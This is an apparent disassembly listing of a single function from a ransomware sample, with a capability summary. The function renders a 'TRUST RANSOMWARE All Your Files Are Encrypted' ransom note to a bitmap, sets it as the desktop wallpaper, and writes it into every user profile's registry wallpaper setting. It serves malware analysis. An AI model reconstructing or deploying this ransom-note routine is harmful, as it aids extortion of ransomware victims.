Function at 0x140023870
Capabilities:
Change the wallpaper
Check if file exists
Get common file path
Get file attributes
Query or enumerate registry key
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x5a0
mov rax, qword [0x1400a3100]
xor rax, rsp
mov qword [rsp + 0x590], rax
mov dword [rsp + 0x148], 1
xor r14d, r14d
mov qword [r11 - 0x468], r14
mov qword [r11 - 0x460], r14
xor r8d, r8d
lea rdx, [r11 - 0x470]
lea rcx, [r11 - 0x478]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
test eax, eax
je 0x1400238f2
lea rdx, str.Failed_to_initialize_GDI
call fcn.140027b80
mov rcx, rax
call fcn.140027e80
jmp 0x140024086
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xe0], rax
lea r12, vtable.Gdiplus::Image.0
mov qword [rsp + 0xd0], r12
lea rax, vtable.Gdiplus::Bitmap.0
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x70], r14
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
mov r9d, 0x21808
xor r8d, r8d
mov edx, 0x438
mov ecx, 0x780
call qword [sym.imp.gdiplus.dll_GdipCreateBitmapFromScan0]
mov dword [rsp + 0xe0], eax
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0x78], r14
lea rdx, [rsp + 0x78]
call qword [sym.imp.gdiplus.dll_GdipGetImageGraphicsContext]
mov ebx, eax
mov dword [rsp + 0x118], eax
mov rdi, qword [rsp + 0x78]
mov qword [rsp + 0x110], rdi
mov edx, 2
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipSetSmoothingMode]
test eax, eax
cmovne ebx, eax
mov dword [rsp + 0x118], ebx
mov dword [rsp + 0x44], 0xff000000
lea r15, vtable.Gdiplus::Brush.0
mov qword [rsp + 0xf8], r15
mov dword [rsp + 0x108], 6
lea r13, vtable.Gdiplus::SolidBrush.0
mov qword [rsp + 0xf8], r13
mov qword [rsp + 0x80], r14
lea rdx, [rsp + 0x80]
mov ecx, 0xff000000
call qword [sym.imp.gdiplus.dll_GdipCreateSolidFill]
mov dword [rsp + 0x108], eax
mov rsi, qword [rsp + 0x80]
mov qword [rsp + 0x100], rsi
mov dword [rsp + 0x28], 0x438
mov dword [rsp + 0x20], 0x780
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipFillRectangleI]
test eax, eax
cmovne ebx, eax
mov dword [rsp + 0x118], ebx
xorps xmm0, xmm0
movups xmmword [rsp + 0xe8], xmm0
movss xmm2, dword [0x14009b99c]
lea rcx, [rsp + 0xe8]
call fcn.1400235a0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xb8], xmm0
mov qword [rsp + 0xc8], rax
mov dword [rsp + 0x48], 0xffffffff
mov qword [rsp + 0xb8], r15
mov dword [rsp + 0xc8], 6
mov qword [rsp + 0xb8], r13
mov qword [rsp + 0x88], r14
lea rdx, [rsp + 0x88]
mov ecx, 0xffffffff
call qword [sym.imp.gdiplus.dll_GdipCreateSolidFill]
mov dword [rsp + 0xc8], eax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xc0], rax
movdqa xmm0, xmmword [0x14009b9c0]
movups xmmword [rsp + 0x160], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xa0], r14
xor edx, edx
lea r8, [rsp + 0xa0]
xor ecx, ecx
call qword [sym.imp.gdiplus.dll_GdipCreateStringFormat]
mov dword [rsp + 0xa8], eax
mov edx, 1
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipSetStringFormatAlign]
mov ecx, dword [rsp + 0xa8]
test eax, eax
cmovne ecx, eax
mov dword [rsp + 0xa8], ecx
mov edx, 1
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipSetStringFormatLineAlign]
mov ecx, dword [rsp + 0xa8]
test eax, eax
cmovne ecx, eax
mov dword [rsp + 0xa8], ecx
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xe8]
mov r8d, 0xffffffff
lea rdx, str.TRUST_RANSOMWARE_nAll_Your_Files_Are_Encrypted_nfor_more_information_see_README_TO_DECRYPT_FILES.TXT_that_is_located_in_every_encrypted_folder
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDrawString]
test eax, eax
cmovne ebx, eax
mov dword [rsp + 0x118], ebx
lea rdx, [rsp + 0x170]
call fcn.140023780
test al, al
jne 0x140023c26
lea rdx, str.Failed_to_get_BMP_CLSID
call fcn.140027b80
mov rcx, rax
call fcn.140027e80
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipDeleteStringFormat]
mov qword [rsp + 0xb8], r15
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.gdiplus.dll_GdipDeleteFont]
mov qword [rsp + 0xf8], r15
mov rcx, rsi
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov qword [rsp + 0xd0], r12
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
jmp 0x140024086
lea rax, [rsp + 0x180]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x23
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x140023cc5
lea rdx, str.Failed_to_get_common_app_data_path
call fcn.140027b80
mov rcx, rax
call fcn.140027e80
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipDeleteStringFormat]
mov qword [rsp + 0xb8], r15
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.gdiplus.dll_GdipDeleteFont]
mov qword [rsp + 0xf8], r15
mov rcx, rsi
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov qword [rsp + 0xd0], r12
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
jmp 0x140024086
lea r8, str.Trust.bmp
mov edx, 0x104
lea rcx, [rsp + 0x180]
call fcn.140039550
xor r9d, r9d
lea r8, [rsp + 0x170]
lea rdx, [rsp + 0x180]
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
test eax, eax
je 0x140023d89
mov dword [rsp + 0xe0], eax
lea rdx, str.Failed_to_save_BMP_file
call fcn.140027b80
mov rcx, rax
call fcn.140027e80
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipDeleteStringFormat]
mov qword [rsp + 0xb8], r15
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.gdiplus.dll_GdipDeleteFont]
mov qword [rsp + 0xf8], r15
mov rcx, rsi
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov qword [rsp + 0xd0], r12
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
jmp 0x140024086
lea rcx, [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140023e17
lea rdx, str.Background_image_file_not_found
call fcn.140027b80
mov rcx, rax
call fcn.140027e80
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipDeleteStringFormat]
mov qword [rsp + 0xb8], r15
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.gdiplus.dll_GdipDeleteFont]
mov qword [rsp + 0xf8], r15
mov rcx, rsi
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov qword [rsp + 0xd0], r12
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
jmp 0x140024086
mov r9d, 3
lea r8, [rsp + 0x180]
xor edx, edx
mov ecx, 0x14
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
jne 0x140023e4a
lea rdx, str.Failed_to_set_desktop_wallpaper
call fcn.140027b80
mov rcx, rax
call fcn.140027e80
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
xor edx, edx
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140024000
mov dword [rsp + 0xb0], 0x100
mov ebx, r14d
mov dword [rsp + 0x40], ebx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0xb0]
lea r8, [rsp + 0x390]
mov edx, ebx
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140023ff0
lea rdx, [rsp + 0x390]
lea rcx, [rsp + 0x50]
call fcn.140019c40
lea rdx, str.Control_PanelDesktop
mov rcx, rax
call fcn.140019aa0
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], r14
mov qword [rsp + 0x138], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x130], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea rcx, [rsp + 0x50]
call fcn.140019bd0
lea rdx, [rsp + 0x120]
cmp qword [rsp + 0x138], 7
cmova rdx, qword [rsp + 0x120]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140023fd1
lea rcx, [rsp + 0x180]
mov rax, 0xffffffffffffffff
lea rax, [rax + 1]
cmp word [rcx + rax*2], 0
jne 0x140023f82
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Wallpaper
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0xb0], 0x100
lea rcx, [rsp + 0x120]
call fcn.140019bd0
inc ebx
jmp 0x140023e85
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140024014
lea rdx, str.Failed_to_open_HKEY_USERS
call fcn.140027b80
mov rcx, rax
call fcn.140027e80
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipDeleteStringFormat]
mov qword [rsp + 0xb8], r15
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.gdiplus.dll_GdipDeleteFont]
mov qword [rsp + 0xf8], r15
mov rcx, rsi
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov qword [rsp + 0xd0], r12
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
nop
mov rcx, qword [rsp + 0x140]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
nop
mov rcx, qword [rsp + 0x590]
xor rcx, rsp
call fcn.14002f0b0
lea r11, [rsp + 0x5a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret